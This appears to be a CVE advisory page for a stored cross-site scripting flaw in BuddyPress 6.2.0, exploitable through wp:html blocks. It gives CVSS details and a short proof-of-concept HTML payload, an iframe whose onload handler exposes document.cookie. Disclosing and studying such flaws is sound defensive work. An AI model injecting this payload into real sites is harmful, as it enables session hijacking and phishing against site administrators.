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CVE-2020-37233 CVSS 6.4 MEDIUM

CVE-2020-37233

Published: 2026-05-16 16:16:19
Last Modified: 2026-05-18 17:05:46

Description

WordPress Plugin Buddypress 6.2.0 contains a persistent cross-site scripting vulnerability that allows authenticated attackers with moderator privileges to inject malicious script code through the figure parameter in wp:html blocks. Attackers can inject iframe elements with event handlers like onload that execute when administrators or privileged users preview or view the affected page content, enabling session hijacking and persistent phishing attacks.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BuddyPress 6.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- wp:html --> <figure> <!-- Injecting iframe with onload event handler --> <iframe src="data:text/html,<script>alert('XSS')</script>" onload="alert('Document Cookie: ' + document.cookie)"></iframe> </figure> <!-- /wp:html -->

References

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